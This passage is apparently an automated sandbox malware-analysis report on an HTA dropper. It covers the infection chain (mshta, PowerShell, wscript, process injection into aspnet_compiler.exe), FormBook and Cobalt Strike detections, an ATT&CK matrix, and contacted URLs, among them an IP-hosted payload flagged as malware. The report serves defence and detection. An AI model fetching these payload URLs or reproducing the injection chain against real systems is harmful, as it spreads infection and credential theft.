                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

                  Stealing of Sensitive Information

                  barindex
                  Yara detected FormBook
                  Source: Yara matchFile source: 12.2.aspnet_compiler.exe.400000.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 12.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0000000C.00000002.2882521949.0000000000DC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000C.00000002.2879796460.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

                  Remote Access Functionality

                  barindex
                  Yara detected FormBook
                  Source: Yara matchFile source: 12.2.aspnet_compiler.exe.400000.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 12.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0000000C.00000002.2882521949.0000000000DC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000C.00000002.2879796460.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

                  Mitre Att&ck Matrix

                  ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                  Gather Victim Identity Information111
                  Scripting                  		Valid Accounts11
                  Command and Scripting Interpreter                  		111
                  Scripting                  		211
                  Process Injection                  		1
                  Masquerading                  		OS Credential Dumping21
                  Security Software Discovery                  		Remote Services1
                  Email Collection                  		1
                  Encrypted Channel                  		Exfiltration Over Other Network MediumAbuse Accessibility Features
                  CredentialsDomainsDefault Accounts1
                  Exploitation for Client Execution                  		1
                  DLL Side-Loading                  		1
                  DLL Side-Loading                  		31
                  Virtualization/Sandbox Evasion                  		LSASS Memory1
                  Process Discovery                  		Remote Desktop Protocol1
                  Archive Collected Data                  		2
                  Ingress Tool Transfer                  		Exfiltration Over BluetoothNetwork Denial of Service
                  Email AddressesDNS ServerDomain Accounts3
                  PowerShell                  		Logon Script (Windows)Logon Script (Windows)211
                  Process Injection                  		Security Account Manager31
                  Virtualization/Sandbox Evasion                  		SMB/Windows Admin SharesData from Network Shared Drive2
                  Non-Application Layer Protocol                  		Automated ExfiltrationData Encrypted for Impact
                  Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook1
                  Deobfuscate/Decode Files or Information                  		NTDS1
                  Application Window Discovery                  		Distributed Component Object ModelInput Capture12
                  Application Layer Protocol                  		Traffic DuplicationData Destruction
                  Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script2
                  Obfuscated Files or Information                  		LSA Secrets1
                  File and Directory Discovery                  		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
                  Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
                  DLL Side-Loading                  		Cached Domain Credentials13
                  System Information Discovery                  		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop

                  Behavior Graph

                  Hide Legend

                  Legend:

                  • Process
                  • Signature
                  • Created File
                  • DNS/IP Info
                  • Is Dropped
                  • Is Windows Process
                  • Number of created Registry Values
                  • Number of created Files
                  • Visual Basic
                  • Delphi
                  • Java
                  • .Net C# or VB.NET
                  • C, C++ or other language
                  • Is malicious
                  • Internet
                  behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1570658 Sample: seemybestdayguvenu.hta Startdate: 07/12/2024 Architecture: WINDOWS Score: 100 47 res.cloudinary.com 2->47 49 Suricata IDS alerts for network traffic 2->49 51 Malicious sample detected (through community Yara rule) 2->51 53 Antivirus detection for URL or domain 2->53 55 12 other signatures 2->55 11 mshta.exe 1 2->11         started        signatures3 process4 signatures5 67 Suspicious command line found 11->67 69 PowerShell case anomaly found 11->69 14 cmd.exe 1 11->14         started        process6 signatures7 71 Detected Cobalt Strike Beacon 14->71 73 Suspicious powershell command line found 14->73 75 Wscript starts Powershell (via cmd or directly) 14->75 77 PowerShell case anomaly found 14->77 17 powershell.exe 3 45 14->17         started        22 conhost.exe 14->22         started        process8 dnsIp9 45 172.245.123.29, 49710, 49760, 80 AS-COLOCROSSINGUS United States 17->45 39 C:\...\seemybestthingswhatdoingforbe.vbS, Unicode 17->39 dropped 41 C:\Users\user\AppData\...\3cxbggpe.cmdline, Unicode 17->41 dropped 57 Loading BitLocker PowerShell Module 17->57 24 wscript.exe 1 17->24         started        27 csc.exe 3 17->27         started        file10 signatures11 process12 file13 59 Detected Cobalt Strike Beacon 24->59 61 Suspicious powershell command line found 24->61 63 Wscript starts Powershell (via cmd or directly) 24->63 65 2 other signatures 24->65 30 powershell.exe 15 16 24->30         started        43 C:\Users\user\AppData\Local\...\3cxbggpe.dll, PE32 27->43 dropped 33 cvtres.exe 1 27->33         started        signatures14 process15 signatures16 79 Writes to foreign memory regions 30->79 81 Injects a PE file into a foreign processes 30->81 35 conhost.exe 30->35         started        37 aspnet_compiler.exe 30->37         started        process17

                  Screenshots

                  Thumbnails

                  This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                  windows-stand

                  Antivirus, Machine Learning and Genetic Malware Detection

                  Initial Sample

                  SourceDetectionScannerLabelLink
                  seemybestdayguvenu.hta21%ReversingLabsScript-WScript.Trojan.Asthma

                  Dropped Files

                  ⊘No Antivirus matches

                  Unpacked PE Files

                  ⊘No Antivirus matches

                  Domains

                  ⊘No Antivirus matches

                  URLs

                  SourceDetectionScannerLabelLink
                  http://172.245.123.29/770/CAMCA.txt0%Avira URL Cloudsafe
                  http://172.245.123.29/770/seemybestthingswhatdoingforbetter.tIF&0%Avira URL Cloudsafe
                  http://172.245.123.29/770/seemyb0%Avira URL Cloudsafe
                  http://172.245.123.29/770/seemybestthingswhatdoingforbetter.tIF100%Avira URL Cloudmalware

                  Domains and IPs

                  Contacted Domains

                  NameIPActiveMaliciousAntivirus DetectionReputation
                  res.cloudinary.com
                  		unknown
                  		unknownfalse
                    		high

                    Contacted URLs

                    NameMaliciousAntivirus DetectionReputation
                    http://172.245.123.29/770/seemybestthingswhatdoingforbetter.tIFtrue
                    • Avira URL Cloud: malware
                    		unknown
                    http://172.245.123.29/770/CAMCA.txttrue
                    • Avira URL Cloud: safe
                    		unknown

                    URLs from Memory and Binaries

                    NameSourceMaliciousAntivirus DetectionReputation
                    http://nuget.org/NuGet.exepowershell.exe, 00000003.00000002.2243945492.000000000568A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2472476163.0000000005FEB000.00000004.00000800.00020000.00000000.sdmpfalse
                      		high
                      https://aka.ms/winsvr-2022-pshelppowershell.exe, 00000003.00000002.2242163202.0000000004777000.00000004.00000800.00020000.00000000.sdmpfalse
                        		high
                        http://172.245.123.29/770/seemybpowershell.exe, 00000003.00000002.2242163202.0000000004B09000.00000004.00000800.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
                        https://res.cloudinary.compowershell.exe, 00000008.00000002.2472476163.00000000050D7000.00000004.00000800.00020000.00000000.sdmpfalse
                          		high
                          https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpgtpowershell.exe, 00000008.00000002.2472476163.00000000050D7000.00000004.00000800.00020000.00000000.sdmpfalse
                            		high
                            http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000008.00000002.2472476163.00000000050D7000.00000004.00000800.00020000.00000000.sdmpfalse
                              		high
                              http://schemas.xmlsoap.org/soap/encoding/powershell.exe, 00000003.00000002.2242163202.0000000004777000.00000004.00000800.00020000.00000000.sdmpfalse
                                		high
                                https://aka.ms/pscore6lBpowershell.exe, 00000003.00000002.2242163202.0000000004621000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2472476163.0000000004F81000.00000004.00000800.00020000.00000000.sdmpfalse
                                  		high
                                  http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000008.00000002.2472476163.00000000050D7000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    http://schemas.xmlsoap.org/wsdl/powershell.exe, 00000003.00000002.2242163202.0000000004777000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      https://contoso.com/powershell.exe, 00000008.00000002.2472476163.0000000005FEB000.00000004.00000800.00020000.00000000.sdmpfalse
                                        		high
                                        https://nuget.org/nuget.exepowershell.exe, 00000003.00000002.2243945492.000000000568A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2472476163.0000000005FEB000.00000004.00000800.00020000.00000000.sdmpfalse
                                          		high
                                          https://contoso.com/Licensepowershell.exe, 00000008.00000002.2472476163.0000000005FEB000.00000004.00000800.00020000.00000000.sdmpfalse
                                            		high
                                            https://contoso.com/Iconpowershell.exe, 00000008.00000002.2472476163.0000000005FEB000.00000004.00000800.00020000.00000000.sdmpfalse
                                              		high
                                              http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000003.00000002.2242163202.0000000004621000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2472476163.0000000004F81000.00000004.00000800.00020000.00000000.sdmpfalse
                                                		high
                                                https://github.com/Pester/Pesterpowershell.exe, 00000008.00000002.2472476163.00000000050D7000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  		high
                                                  https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpgpowershell.exe, 00000008.00000002.2472476163.00000000050D7000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    		high
                                                    http://172.245.123.29/770/seemybestthingswhatdoingforbetter.tIF&powershell.exe, 00000003.00000002.2247720728.0000000007D99000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    • Avira URL Cloud: safe
                                                    		unknown

                                                    World Map of Contacted IPs

                                                    • No. of IPs < 25%
                                                    • 25% < No. of IPs < 50%
                                                    • 50% < No. of IPs < 75%
                                                    • 75% < No. of IPs

                                                    Public IPs

                                                    IPDomainCountryFlagASNASN NameMalicious
                                                    172.245.123.29
                                                    		unknownUnited States
                                                    		36352AS-COLOCROSSINGUStrue

                                                    General Information

                                                    Joe Sandbox version:41.0.0 Charoite
                                                    Analysis ID:1570658
                                                    Start date and time:2024-12-07 15:46:45 +01:00
                                                    Joe Sandbox product:CloudBasic
                                                    Overall analysis duration:0h 6m 43s
                                                    Hypervisor based Inspection enabled:false
                                                    Report type:full
                                                    Cookbook file name:default.jbs
                                                    Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                    Number of analysed new started processes analysed:14
                                                    Number of new started drivers analysed:0
                                                    Number of existing processes analysed:0
                                                    Number of existing drivers analysed:0
                                                    Number of injected processes analysed:0
                                                    Technologies:
